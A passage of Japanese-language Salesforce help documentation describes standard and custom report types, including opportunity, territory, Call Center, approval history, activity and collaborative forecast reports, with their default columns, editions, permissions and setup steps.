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列オブジェクト情報種別

商談の項目 • 商談名

商談所有者の情報 • 商談所有者

関連トピック:

レポート実行ページ
レポートの結果の制限
商談レポート

商談フェーズ履歴レポート
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

フェーズや完了日など、商談の履歴に関する情報を参照します。
このレポートのデフォルト設定は、次のとおりです。
表示形式

概要
選択された列

列オブジェクト情報種別

商談情報 • 商談名

商談所有者の情報 • 所有者

商談フェーズ履歴情報 • フェーズ(変更前)

• 金額
• 最終更新日
• フェーズ(変更後)

• 確度(%)

• 最終更新者
• 完了予定日

関連トピック:

レポート実行ページ
レポートの結果の制限
商談レポート

商談チームが関連する商談レポート
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エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談別に、商談チームのメンバーとそのロールに関する情報を参照します。
このレポートを使用できるようにするには、チームセリング設定を有効にしま
す。
このレポートのデフォルト設定は、次のとおりです。
表示形式

表形式
選択された列

列オブジェクト情報種別

商談情報 • 商談名

チームメンバー情報 • チームメンバーの名前
• チーム内の役割

システム管理者によってカスタム商談チーム項目が作成されている場合、その項目をこのレポートに組み込む
ことができます。

関連トピック:

レポート実行ページ
レポートの結果の制限
商談レポート

商談チームと商品が関連する商談レポート
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談別に、商談チームのメンバーとその商品に関する情報を参照します。レポー
トを実行するときに、商品または商談チームメンバーのいずれかを指定して結
果を絞り込む必要があります。
このレポートのデフォルト設定は、次のとおりです。
表示形式

表形式
選択された列

列オブジェクト情報種別

商談情報 • 商談名

商品情報 • 商品名

チームメンバー情報 • チームメンバーの名前
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列オブジェクト情報種別

• チーム内の役割

関連トピック:

レポート実行ページ
レポートの結果の制限
商談レポート

パートナーが関連する商談レポート
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談名、金額、パートナーの役割など、商談でチームを組むパートナーに関す
る情報を参照します。
このレポートのデフォルト設定は、次のとおりです。
表示形式

概要
選択された列

列オブジェクト情報種別

商談情報 • 商談名
• 完了予定日
• 金額

商談所有者の情報 • 商談所有者

パートナー情報 • パートナー 所有者
• パートナーの役割
• パートナー

取引先情報 • 取引先所有者
• 取引先名

関連トピック:

レポート実行ページ
レポートの結果の制限
商談レポート

商品が関連する商談レポート
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エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商品名や商談フェーズなど、商談に関連する商品に関する情報を参照します。
このレポートのデフォルト設定は、次のとおりです。
表示形式

マトリックス
集計項目

[合計金額]  (合計)

選択された列

列オブジェクト情報種別

商談情報 • 商談名
• 金額
• 完了予定日
• フェーズ
• 商談日数
• 種別
• 確度
• 作成日

商品情報 • 商品名
• 商品コード
• 数量
• 有効商品
• 販売価格
• 商品 提供日
• 商品説明
• 合計金額
• 商品: 月
• リスト価格

商談所有者の情報 • 商談所有者
• 所有者 ロール
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列オブジェクト情報種別

取引先: 一般情報 • 取引先名

関連トピック:

レポート実行ページ
レポートの結果の制限
商談レポート

商談の動向レポート
エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パイプラインの商談間で共有する動向に関する情報を参照します。
このレポートのデフォルト設定は、次のとおりです。
表示形式

マトリックス
グルーピング

デフォルトレポートには、[フェーズの履歴]でグループ化された行と [ある
時点] でグループ化された列が表示されます。

集計項目
[金額の履歴]  (合計)

選択された列

列オブジェクト情報種別

商談情報 • 商談名

商談動向情報 • 金額の履歴
• ある時点
• フェーズの履歴

商談所有者の情報 • 商談 所有者(別名)

関連トピック:

レポート実行ページ
レポートの結果の制限
商談レポート

見積と見積 PDF が関連する商談レポート
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エディション

見積を使用可能なエディ
ション: Salesforce Classic

見積を使用可能なエディ
ション: Performance
Edition および Developer
Edition と、Sales Cloud が
付属する Professional
Edition、Enterprise
Edition、および Unlimited
Edition

商談に関連付けられている見積ごとに作成された見積 PDF の詳細が表示されま
す。デフォルトの設定では、最も使用頻度の高い各オブジェクトの情報が表示
されますが、リストの各見積 PDF の作成者や最終更新日など、他の情報が表示
されるようにレポートをカスタマイズできます。
このレポートのデフォルト設定は、次のとおりです。
表示形式

概要
グルーピング

デフォルトレポートには、[商談名]でグループ化された見積と見積 PDF が表
示されます。

選択された列

列オブジェクト情報種別

商談情報 • 商談名

見積情報 • 見積名
• 同期中

見積 PDF 情報 • 見積 PDF: 作成日
• 見積 PDF: 名前
• 見積 PDF: 割引
• 見積 PDF: 総計

関連トピック:

レポート実行ページ
レポートの結果の制限
商談レポート

見積と見積品目名が関連する商談レポート
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エディション

見積を使用可能なエディ
ション: Salesforce Classic

見積を使用可能なエディ
ション: Performance
Edition および Developer
Edition と、Sales Cloud が
付属する Professional
Edition、Enterprise
Edition、および Unlimited
Edition

商談に関連付けられている見積と、各見積の品目名の詳細が表示されます。デ
フォルトの設定では、最も使用頻度の高い各オブジェクトの情報が表示されま
すが、任意の商談、見積、または見積品目名の項目が表示されるようにレポー
トをカスタマイズできます。
組織がマルチ通貨または高度な通貨管理を使用している場合は、このレポート
をカスタマイズするための追加オプションがあります。レポートの列を選択す
るときに、別の通貨に変換した値を表示するため、「変換済み」の金額や合計
の列を選択できます。レポート条件を選択するときに、[高度な設定] で変換後の
通貨を選択します。
このレポートのデフォルト設定は、次のとおりです。
表示形式

概要
集計項目

[金額]  (合計)

[見積 割引]  (合計)

グルーピング
デフォルトのレポートには、まず [商談名] でグループ化し、次に [見積名] でグループ化した結果が表示
されます。各見積品目名は、関連する見積の下に表示されます。

選択された列

列オブジェクト情報種別

商談情報 • 商談名
• 金額

見積情報 • 見積名
• 割引
• 同期中
• 状況

見積品目名情報 • 見積品目名: 割引
• 商品: 商品名
• 品目番号
• 販売価格
• リスト価格
• 見積品目名: 小計
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列オブジェクト情報種別

• 見積品目名: 合計金額

関連トピック:

レポート実行ページ
レポートの結果の制限
商談レポート

商品/納入商品レポート
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商品/納入商品レポートは、ユーザに現在納入している商品に関する情報を表示
する場合に使用します。顧客が所有している納入商品を確認したり、特定の納
入商品のケースをリストしたり、商品と関連付けられていない納入商品を特定
したります。
商品/納入商品レポートの特殊機能
商品/納入商品レポートを実行するときは、次の点に留意してください。
標準レポート

未登録商品の納入商品一覧は、商品と関連付けられていない納入商品を表示
する場合に使用します。[商品/納入商品レポート] フォルダから表示できま
す。納入商品の使用方法によっては、これらの納入商品が競合の製品を表す
場合があります。

レポートタイプ
• 顧客が所有している納入商品を表示するカスタムレポートを作成するには、[レポート] タブから[新規レ

ポート] をクリックし、レポートタイプカテゴリの [取引先と取引先責任者] から [取引先と納入商品] ま
たは [納入商品が関連する取引先責任者レポート] を選択します。

• 特定の納入商品についてまとめたケースのリストを表示するには、[レポート] タブから [新規レポート]

をクリックし、データの種類の [価格表と商品] オプションで [ケースが関連する納入商品] を選択しま
す。

関連トピック:

レポート実行ページ
レポートの結果の制限
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セルフサービスレポート
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

セルフサービスレポートは、セルフサービスポータルの有効性を分析する上で
役立ちます。表示されているケース数、ログインしている顧客数、または提案
しているソリューションを顧客がどのように考えているのかを確認します。

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できま
せん。既存の組織は、引き続きセルフサービスポータルを使用できます。

標準レポート
• セルフサービス利用状況レポートには、ケースが表示またはログに記録

された回数、コメントが追加された回数、およびセルフサービスユーザ
が検索を実行した回数に関する情報が表示されます。

• セルフサービスセルフサービスユーザ一覧には、関連する取引先や最終
ログイン日など、セルフサービスポータルにログインした顧客に関する
情報が表示されます。カスタム取引先責任者レポートには、セルフサービス項目を含めることもできま
す。

• 有用ソリューション一覧には、ソリューションを表示するセルフサービスポータルからの統計情報が表
示されます。各セルフサービスソリューションページで、顧客はソリューションが有用かどうかを示す
ことができます。セルフサービスホームページの Top 5 ソリューションを選択する場合や、顧客が必要
なソリューションを見つけられるかどうかを検証する場合に、この調査結果を使用します。

関連トピック:

レポート実行ページ
レポートの結果の制限

サポート活動のレポート
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション
(Edition によって表示され
るレポートが決まります)

サポートレポートは、作成されたケースの数、ケースコメント、ケースメール、
ケース所有者、ケース取引先責任者の役割、ソリューションが関連するケース、
ケース状況または所有者が最後に変更されてからの時間、およびケースの履歴
を追跡します。
また、ソリューション履歴、ソリューションが記述された言語、翻訳ソリュー
ションの変更フラグの有無など、ソリューションのレポートも作成できます。
セルフサービスポータルを有効にしている場合は、セルフサービスポータルの
使用状況を追跡するレポートを実行できます。

関連トピック:

レポート実行ページ
レポートの結果の制限
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事前に設計されたカスタムレポートタイプ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション
(Edition によって表示され
るレポートが決まります)

ユーザ権限

レポートを実行する
• 「レポート実行」

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

一部の Salesforce には、事前に設計されたカスタムレポートタイプが用意されて
いるため、新しいレポートを作成する必要はありません。

メモ: 事前に設計されたカスタムレポートタイプは、標準レポートタイプ
とは異なります。

1. テリトリーレポート
テリトリーレポートは、営業テリトリーを分析する場合に使用します。どの
ユーザがどのテリトリーに割り当てられているのか、どのユーザが複数のテ
リトリーに割り当てられているのか、どのユーザがテリトリーに割り当てら
れていないのかを特定します。

2. アンサーのレポート
ユーザが質問、返信、および投票を分析できるようにカスタムレポートタイ
プを作成します。

3. Salesforce CRM Call Center レポート
コールセンターレポートは、自分または自分のチームが扱った Salesforce CRM

Call Center 通話の解析に役立ちます。
4. 承認履歴のカスタムレポートタイプの作成

完了済みおよび進行中の承認プロセスとそのステップに関するレポートを実
行する前に、承認プロセスインスタンスにカスタムレポートタイプを作成す
る必要があります。

5. 活動に対して実行可能なレポート
標準またはカスタムレポートを実行して、ToDo または行動に関する詳細と関連する取引先責任者、取引先、
商談、その他の関連レコードを表示することができます。

6. 営業担当と顧客のミーティングのレポート
自分の営業チームが時間配分の優先順位をどのように設定しているか洞察を得ることができます。そのよ
うな場合、営業担当がどの顧客に時間を費やしているかを示すカスタムレポートを作成します。

7. コラボレーション売上予測でのカスタムレポートタイプの作成
ユーザが売上予測レポートを使用できるようにするには、システム管理者がカスタムレポートタイプを作
成する必要があります。レポートタイプは、主オブジェクトとその関連オブジェクトとの関係に基づいて、
レポートで使用するレコードと項目のセットを定義するものです。レポートには、レポートタイプで定義
された条件を満たすレコードのみが表示されます。

8. コラボレーション売上予測のカスタムレポートタイプ
レポートタイプは、主オブジェクトとその関連オブジェクトとの関係に基づいて、レポートで使用するレ
コードと項目のセットを定義するものです。レポートには、レポートタイプで定義された条件を満たすレ
コードのみが表示されます。

9. アイデアレポート
カスタムレポートタイプを作成して、ユーザがアイデア、アイデアコメント、および投票に関するレポー
トを作成できるようにします。
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10. Salesforce ナレッジ記事に関するレポート
Salesforce ナレッジカスタムレポートを使用して、記事の作成、メンテナンス、および配信状況を追跡でき
ます。

11. Live Agent セッションレポート
Live Agent セッションレポートは、顧客とチャットをしているときのエージェントの活動に関するデータ
(エージェントのオンライン時間やエージェントに割り当てられているチャット要求数など) を統合する場
合に使用します。

12. パートナーに関するレポート
一部の商談にはパートナー関係が関与します。このレポートを使用して、パートナー関係を特定および分
析します。

13. リレーショングループに関するレポート
システム管理者がリレーショングループおよびリレーショングループメンバーのカスタムオブジェクトの
カスタムレポートタイプを有効にしている場合は、リレーショングループおよびリレーショングループメ
ンバーに関するレポートを作成することができます。

14. 取引先所有者レポートの有効化
取引先所有者レポートには、すべての取引先とその所有者が表示されます。

15. ファイル検索活動に関するレポート
レポートを使用して、ファイル検索での上位 300 個の検索語を特定し、ユーザの検索語とクリック順位に
基づいて、不足しているコンテンツや名前を変更する必要があるコンテンツを識別します。

テリトリーレポート
エディション

使用可能なエディション:
Salesforce Classic

テリトリー管理を使用可
能なエディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

テリトリーレポートは、営業テリトリーを分析する場合に使用します。どのユー
ザがどのテリトリーに割り当てられているのか、どのユーザが複数のテリトリー
に割り当てられているのか、どのユーザがテリトリーに割り当てられていない
のかを特定します。
テリトリーレポートの特別な機能
テリトリーレポートを実行するときは、次の点に留意してください。
標準レポート

• テリトリーレポートには、組織のすべてのテリトリーが一覧表示されま
す。[ユーザ]ドロップダウンリストから [ユーザなし]を選択し、[レポー
ト実行] をクリックして、割り当てられたユーザのいない組織のテリト
リーを確認できます。

• ユーザのテリトリーレポート、複数テリトリーのユーザレポート、テリトリー未割り当てのユーザレ
ポートでは、それぞれ、テリトリーに割り当てられたユーザ、複数のテリトリーに割り当てられたユー
ザ、割り当てられたテリトリーがないユーザの一覧が表示されます。

• 取引先のテリトリーレポート、複数テリトリーの取引先レポート、テリトリー未割り当ての取引先レ
ポートでは、それぞれ、テリトリーに割り当てられた取引先、複数のテリトリーに割り当てられた取引
先、割り当てられたテリトリーがない取引先の一覧が表示されます。

• 商談のテリトリーレポートでは、テリトリー内の商談の一覧が表示されます。商談のテリトリーで現在
有効でないユーザが所有する商談を表示するには、商談のテリトリーレポートをカスタマイズして、
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「[テリトリーで有効]次の文字列と一致する False」という検索条件を指定します。テリトリー未割り当
ての商談レポートでは、テリトリーがない取引先に関連する商談の一覧が表示されます。

• テリトリーを含むカスタムレポートタイプで実行するレポートの結果は、テリトリーを含む標準レポー
トの結果とは異なる場合があります。これは、カスタムレポートタイプでは、テリトリーが存在する取
引先などの存在するテリトリー結果のみが表示されるのに対し、標準レポートでは、存在しないテリト
リー結果が表示される場合もあるためです。たとえば、取引先テリトリーレポートを選択すると、テリ
トリーのない取引先が表示されます。テリトリーを含む [テリトリー] 検索条件を使用したカスタムレ
ポートタイプのレポート結果には、[複数のテリトリー] または [テリトリーなし] は表示されません。

テリトリーレポートのヒント
• 標準およびカスタムテリトリー項目は、テリトリーレポートにあります。また、取引先レポート、取引

先を含む活動レポート、商談レポート、およびユーザレポートにもあります。

関連トピック:

レポート実行ページ
レポートの結果の制限

アンサーのレポート
エディション

使用可能なエディション:
Salesforce Classic

アンサーを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

カスタムレポートタイプ
を削除する
• 「すべてのデータの編

集」

ユーザが質問、返信、および投票を分析できるようにカスタムレポートタイプ
を作成します。

メモ: Winter '18 リリース時点で、アンサーはすべての Salesforce 組織で廃止
される予定です。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照し
てください。Summer '13 リリース以降、新しい組織ではアンサーを使用でき
ません。代わりに、Chatter の質問 (Chatterにシームレスに統合された Q&A 機
能) を使用できます。Chatter の質問を使用すれば、Chatterから移動せずに質
問したり、答えを検索したりできます。既存の組織は、Summer '13 より前の
リリースで有効化されていれば Winter '18 までアンサーに引き続きアクセス
できます。

システム管理者は、カスタムレポートタイプを作成できます。これによりユー
ザは、質問、回答、および投票に関するレポートを作成できます。カスタムレ
ポートタイプによってのみ、アンサーコミュニティに関するレポートを使用で
きます。サンプルアンサーレポートや、アンサーの標準レポートフォルダは提
供されません。
アンサーレポートのフォルダを作成する手順は、次のとおりです。
1. アンサーのカスタムレポートタイプを設定します。

• レポートのプライマリオブジェクトは質問です。
• アンサーの特定のレポートカテゴリがないため、[その他のレポート] カテ

ゴリまたは [管理者レポート] カテゴリにレポートを保存する場合があり
ます。

• オブジェクトリレーションを設定する場合、質問には回答とのリレーションが、回答には投票とのリ
レーションが割り当てられます。
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2. アンサーレポート用の公開フォルダを新規作成します。作成するには、「公開レポートの管理」権限が必
要です。

3. 作成したカスタムレポートタイプを使用して、アンサーの新規カスタムレポートを作成します。そのレポー
トを、作成したアンサーレポートフォルダに格納します。

これらのステップを完了すると、ユーザはレポートのホームページでアンサーレポートのフォルダを使用でき
るようになります。

関連トピック:

レポートによるデータへのアクセス

Salesforce CRM Call Centerレポート
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを実行する
• 「レポート実行」

および

レポートに表示されて
いるレコードに対する
「参照」

コールセンターレポートは、自分または自分のチームが扱った Salesforce CRM Call

Center 通話の解析に役立ちます。
コールセンターレポートの特別な機能
コールセンターレポートを実行するときには、次の点を考慮してください。
標準レポート

• [今週のチームの通話一覧] レポートでは、前週に自分のチームのコールセ
ンターユーザが扱った通話に関する情報が、関連レコードと各通話の結
果と共に表示されます。

• [今日の自分の通話一覧] レポートでは、前日に自分が発信または受信した
通話に関する情報が、関連レコードと各通話の結果と共に表示されます。

• [今週の自分の通話一覧] レポートでは、前週に自分が発信または受信した
通話に関する情報が、関連レコードと各通話の結果と共に表示されます。
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承認履歴のカスタムレポートタイプの作成
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

カスタムレポートタイプ
を削除する
• 「すべてのデータの編

集」

完了済みおよび進行中の承認プロセスとそのステップに関するレポートを実行
する前に、承認プロセスインスタンスにカスタムレポートタイプを作成する必
要があります。
1. [設定] から、[クイック検索]ボックスに「レポートタイプ」と入力し、[レポー

トタイプ] を選択します。
2. [新規カスタムレポートタイプ] をクリックします。
3. 項目に入力します。

手順項目

プロセスインスタンスを選択します。
プロセスインスタンスとは、承認プ
ロセスの 1 つのインスタンスを表し
ます。レコードが承認申請されるた
びに、新しいプロセスインスタンス
が作成されます。

主オブジェクト

表示ラベルを入力します。この表示
ラベルは、ユーザがレポートを作成
するときに表示されます。
例: 承認プロセスインスタンス

レポートタイプの表示ラベル

レポートタイプに一意の名前を入力
します。

レポートタイプ名

説明を入力します。この表示ラベル
は、ユーザがレポートを作成すると
きに表示されます。

説明

[管理レポート] を選択します。
必要に応じて、異なるカテゴリを選
択できます。このカテゴリにより、

カテゴリに格納

ユーザが承認履歴レポートを作成す
るときにカスタムレポートタイプが
表示されるフォルダが決まります。

すべてのユーザがレポートタイプに
アクセスできる準備ができたら、[リ
リース済み] を選択します。

リリース状況

4. [次へ] をクリックします。
5. 主オブジェクトの下のボックスをクリックします。

4855

レポート分析



6. プロセスインスタンスノードを選択します。
プロセスインスタンスノードとは、承認ステップのインスタンスを表します。レコードが承認プロセスの
特定のステップに進むたびに、新しいプロセスインスタンスノードが作成されます。レコードがステップ
の条件を満たしていない場合、または承認プロセスがそのステップに進まずに完了した場合、プロセスイ
ンスタンスノードは作成されません。

7. A から B へのリレーションの場合、次のいずれかのオプションを選択します。

説明オプション

1 つ以上の承認ステップを入力してプロセスインスタンスノード
を作成するプロセスインスタンスのみがレポートに含まれます。
承認用に送信されてもステップの条件を満たしていないレコード
のプロセスインスタンスは、レポートから除外されます。

各「A」レコードには関連する「B」レ
コードが 1 つ以上必要です。

すべてのプロセスインスタンスがレポートに含まれます。「A」レコードには関連する「B」レコー
ドの有無は問いません。

8. [保存] をクリックします。
レポートタイプがリリースされたら、該当するユーザにカテゴリフォルダとカスタムレポートタイプを通知し
て、承認履歴レポートの作成および実行をユーザが開始できるようにします。

活動に対して実行可能なレポート
エディション

Lightning Experience で使用
可能なエディション:
Contact Manager Edition、
Personal Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

標準またはカスタムレポートを実行して、ToDo または行動に関する詳細と関連
する取引先責任者、取引先、商談、その他の関連レコードを表示することがで
きます。

使用するレポート表示する情報

[レポート] タブで [新規カスタムレポート]をクリックし、
[活動] レポートタイプを選択します。

別のレコードタイ
プ (商談など) に関
連する活動

活動レポート。レポートに [リレーション件数] 列を追加
します。
たとえば、5 件の取引先責任者がある ToDo があるとしま
す。ToDo と行動レポートを実行すると、ToDo に関連する
取引先責任者の数を示す「5」が表示されます。

活動に関連する取
引先責任者の数

取引先責任者に関連する活動レポート。取引先責任者オブ
ジェクトから少なくとも 1 つの項目を選択します。
たとえば、レポートに 5 件の取引先責任者がある ToDo が
含まれるとします。[姓] 項目を取引先責任者オブジェク

各活動の取引先責
任者 1 人あたり 1

行

トからレポートに追加すると、この活動に関連する 5 行
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使用するレポート表示する情報

(取引先責任者ごとに 1 行) が表示されます。取引先責任者オブジェクトから項目
を追加しない場合、活動に対して 1 行のみが表示されます。
取引先責任者に関連する活動レポートは、次の操作が可能な唯一のレポートで
す。
• 活動のすべての取引先責任者を表示する
• 主取引先責任者以外の取引先責任者の属性を使用して条件検索できる
その他のレポートでは、活動の主取引先責任者と取引先責任者の総数は表示さ
れますが、その他の取引先責任者の詳細は表示されません。
取引先責任者に関連する活動レポートでは、どの取引先責任者が主取引先責任
者か副取引先責任者かは表示されません。

ToDo と行動レポート、またはケースに関連する活動レポートのいずれか。
たとえば、ある ToDo の主取引先責任者が Ron Dean である場合、これらのレポー
トの [取引先責任者] 項目にはその名前が表示されます。

ToDo と行動レポートおよび
ケースが関連する活動レ
ポートの活動の主取引先責
任者。

また、主取引先責任者は ToDo の詳細ページまたは行動の詳細ページの [名前]

項目にも表示されます。
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営業担当と顧客のミーティングのレポート
エディション

Lightning Experience で使用
可能なエディション:
Contact Manager Edition、
Personal Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

ロール階層内で自分と自
分より下位のユーザが所
有する活動を表示する
• 権限は必要ありません

すべての活動を表示する
• 「すべてのデータの参

照」

自分の営業チームが時間配分の優先順位をどのように設定しているか洞察を得
ることができます。そのような場合、営業担当がどの顧客に時間を費やしてい
るかを示すカスタムレポートを作成します。
1. カスタムレポートタイプを作成します。

a. 主オブジェクトに [ユーザ] を選択します。
b. 残りの必須項目 ([表示ラベル]、[説明]、および [カテゴリ]) を完成させま

す。
c. [次へ] をクリックします。

2. 活動とユーザ間のリレーションを定義します。
a. 活動リレーションオブジェクトをユーザオブジェクトに関連付けます。
b. [保存] をクリックします。

3. このレポートタイプに表示される項目を定義します。
a. [レポートで選択可能な項目] セクションで、[レイアウトを編集する]をク

リックします。
b. [日付]、[件名]、[名前]、[関連先]、[リレーション件数]の [活動リレー

ション] 項目をこのレイアウトに追加します。
c. [名前] 項目の表示ラベルを [取引先責任者] に、[関連先] 項目の表示ラ

ベルを [商談] に変更します。
d. 項目ごとに、その項目をデフォルトで表示するためのオプションを選択

します。
e. [保存] をクリックします。

4. レポートを作成します。
a. [レポート] タブで、ステップ 1 ～ 3 で作成したレポートタイプを選択しま

す。
b. [概要形式] を選択し、完全名でグルーピングを作成します。
c. レポートを実行して保存します。

このレポートを使用して、営業チームが顧客に費やす時間を最適化できるようにサポートすることができま
す。
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メモ: Shared Activities を有効にしていない場合、活動リレーションに基づくカスタムレポートには行動主催
者と招待者が含まれず、また誰も招待されていない行動は表示されません。

関連トピック:

カスタムレポートタイプの作成
カスタムレポートタイプから作成したレポートの項目レイアウトの設計
レポートの作成
カスタムレポートの作成

コラボレーション売上予測でのカスタムレポートタイプの作成
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

カスタムレポートタイプ
を削除する
• 「すべてのデータの編

集」

ユーザが売上予測レポートを使用できるようにするには、システム管理者がカ
スタムレポートタイプを作成する必要があります。レポートタイプは、主オブ
ジェクトとその関連オブジェクトとの関係に基づいて、レポートで使用するレ
コードと項目のセットを定義するものです。レポートには、レポートタイプで
定義された条件を満たすレコードのみが表示されます。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。売上予測のカスタムレポートタイプ
を作成するには、コラボレーション売上予測を有効にします。

1. カスタムレポートタイプの作成を開始するには、[設定] から [クイック検索]

ボックスに「レポートタイプ」と入力し、[レポートタイプ] で [新規カスタム
レポートタイプ] を選択します。

2. [主オブジェクト] で、[売上予測データ] または [売上予測目標] などの売上予
測オブジェクトを選択します。

3. [カテゴリに格納] で、[売上予測] を選択します。
4. レポートタイプの場所と名前を営業担当に知らせます。
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コラボレーション売上予測のカスタムレポートタイプ
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

レポートタイプは、主オブジェクトとその関連オブジェクトとの関係に基づい
て、レポートで使用するレコードと項目のセットを定義するものです。レポー
トには、レポートタイプで定義された条件を満たすレコードのみが表示されま
す。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。売上予測のカスタムレポートタイプ
を作成するには、コラボレーション売上予測を有効にします。

次の表には、作成できる売上予測カスタムレポートタイプを示します。

レポートを作成する目的主オブジェクト

調整金額情報など、売上予測金額に関する情報を表示しま
す。収益ベースの売上予測種別を使用する場合は、レポー
トタイプに次のデフォルト項目を使用することをお勧めし
ます。

売上予測データ

• 所有者のみの金額 — 調整なしの個人の商談 (収益ベース)

の合計金額。たとえば、それぞれが 10,000 ドルの価値が
ある 2 つの商談を所有している場合、[所有者のみの金額]

は 20,000 ドルになります。
• 調整なしの金額 — 個人が所有する商談 (収益ベース) およ

びその個人の部下の商談の調整なしの合計金額。部下に
は売上予測階層のその個人の下位にいる全員が含まれま
す。この金額はレポートにのみ表示されます。たとえ
ば、あなたが所有するすべての商談の合計金額が 20,000

ドルであり、あなたの部下の合計金額が 55,000 ドルであ
る場合、[調整なしの金額] は 75,000 ドルになります。

• マネージャによる調整なしの金額 — 売上予測の所有者
が表示する売上予測数。これは、所有者の商談 (収益ベー
ス) とその部下の商談の合計金額です (売上予測所有者が
所有者またはその部下の売上予測に行った調整を含む)。
これには、売上予測階層でその所有者より上位の売上予
測マネージャによって行われる調整は含まれません。た
とえば、Anne の [調整なしの金額] が 75,000 ドルであり、
内訳は Anne 自身の商談である 20,000 ドルと、Anne の部下
である Ben が所有する商談の 55,000 ドルであるとします。
Anne は、Ben の合計金額 85,000 ドルを 65,000 ドルに調整
しました。あなたが Anne の数値を 85,000 ドルから 100,000

ドルに調整しても、[マネージャによる調整なしの金額]

には Anne に対する表示と同じように 85,000 ドルが表示さ
れます (また、あなたは Anne のマネージャであるため、
Anne にはあなたの調整は表示されません)。あなたが行っ
た 100,000 ドルへの調整が含まれた金額を確認するには、
[売上予測金額] を調べます。
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レポートを作成する目的主オブジェクト

• 売上予測金額 — 売上予測マネージャの観点での収益売上予測、およびすべて
の売上予測の調整を含む所有者およびその部下の商談の合計金額。たとえば、
あなたは売上予測マネージャであり、あなたの部下である売上予測マネージャ
がもう 1 人いて、そのマネージャの [マネージャによる調整なしの金額] の合計
が 85,000 ドルであるとします。売上予測を 100,000 ドルに調整すると、[売上予測
金額] は 100,000 ドルになります。

数量ベースの売上予測を使用する場合は、レポートタイプに次のデフォルト項目
を使用します。
• [所有者のみの数量]、[調整なしの数量]、[マネージャによる調整なしの数量]、

および [数量ベースの売上予測]。
売上予測が収益と数量のいずれに基づくかに関わらず、次の項目を追加します。
• 調整あり — 売上予測所有者の金額でマネージャによる調整が行われたかどうか

を示すチェックボックス。
• 所有者による調整あり — 売上予測ユーザがユーザ独自の売上予測金額を調整し

たかどうかを示すチェックボックス。
累積売上予測積み上げ集計を使用する場合は、次の項目をレポートに追加します。
• ForecastingItemCategory — この項目は、各売上予測金額が、進行中のパイプライ

ン、最善達成予測、達成予測の売上予測、完了のみ、パイプライン、最善達成、
達成予測、完了のどの積み上げ集計であるかを示します。売上予測分類名を変
更すると、その変更が ForecastingItemCategory 値に表示されます。

特定の売上予測品目の商談情報を表示します。たとえば、調整情報と最終売上予
測金額と共に、売上予測データの商談名と最終活動日を含むサマリーレポートを、
部下ごとに作成できます。

関連オブジェクトとして
の[商談]が関連する[売
上予測データ]

メモ: 商談商品が指定されていない商談の場合、このレポートタイプには [商
談 - 収益] 売上予測種別と [商品ファミリ] 売上予測種別の 2 つの売上予測デー
タが含まれます。これらの商品ファミリの売上予測データは、[商品ファミリ]

売上予測の [商品指定なし] 行に積み上げ集計されます。

特定の売上予測品目の商談分割情報を表示します。たとえば、調整情報と最終売
上予測金額と共に、売上予測データの商談分割金額と分割率を含むサマリーレポー
